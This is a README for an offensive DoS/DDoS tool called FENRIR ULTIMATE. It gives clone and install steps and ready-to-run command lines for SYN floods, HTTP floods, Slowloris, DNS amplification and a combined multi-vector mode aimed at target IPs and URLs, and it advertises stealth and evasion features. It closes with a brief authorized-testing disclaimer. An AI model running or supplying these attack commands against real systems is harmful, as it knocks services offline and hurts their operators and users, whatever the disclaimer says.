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📖 Overview FENRIR ULTIMATE is a professional-grade DoS/DDoS attack framework designed for authorized security testing and Red Team operations. Built with advanced stealth techniques, multi-vector attacks, and evasion capabilities.

Clone repository

git clone https://github.com/F1REW0LF/fenrir.git cd fenrir

Install dependencies

pip3 install scapy requests aiohttp

Interactive mode

sudo python3 fenrir_ultimate.py

Command line mode

sudo python3 fenrir_ultimate.py --syn -t 192.168.1.1 -p 80 -d 60 -T 100

Mode Command Description SYN Flood --syn -t IP -p PORT -d SEC -T THREADS Advanced SYN flood with evasion HTTP Flood --http -t URL -d SEC -T THREADS Layer 7 attack with randomization Slowloris --slowloris -t IP -d SEC Connection exhaustion attack DNS Amplification (Interactive mode) Reflection attack via DNS Ultimate --ultimate -t IP -p PORT -d SEC All vectors combined

💻 Examples

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SYN Flood Attack

sudo python3 fenrir_ultimate.py --syn -t 192.168.1.100 -p 80 -d 60 -T 100

HTTP Flood

python3 fenrir_ultimate.py --http -t http://example.com -d 60 -T 100

Slowloris

python3 fenrir_ultimate.py --slowloris -t 192.168.1.100 -d 60

Ultimate Multi-Vector

sudo python3 fenrir_ultimate.py --ultimate -t 192.168.1.100 -p 80 -d 60

⚖️ Disclaimer This tool is for EDUCATIONAL and AUTHORIZED SECURITY TESTING only. Unauthorized use is strictly prohibited and may violate laws.

By using this tool, you agree to:

1. Only test systems you own or have explicit authorization
2. Comply with all applicable laws and regulations
3. Accept full responsibility for your actions

Made with ❤️ by F1REW0LF "Knowledge is power, sharing is strength." ⭐ Star this repository if you find it useful!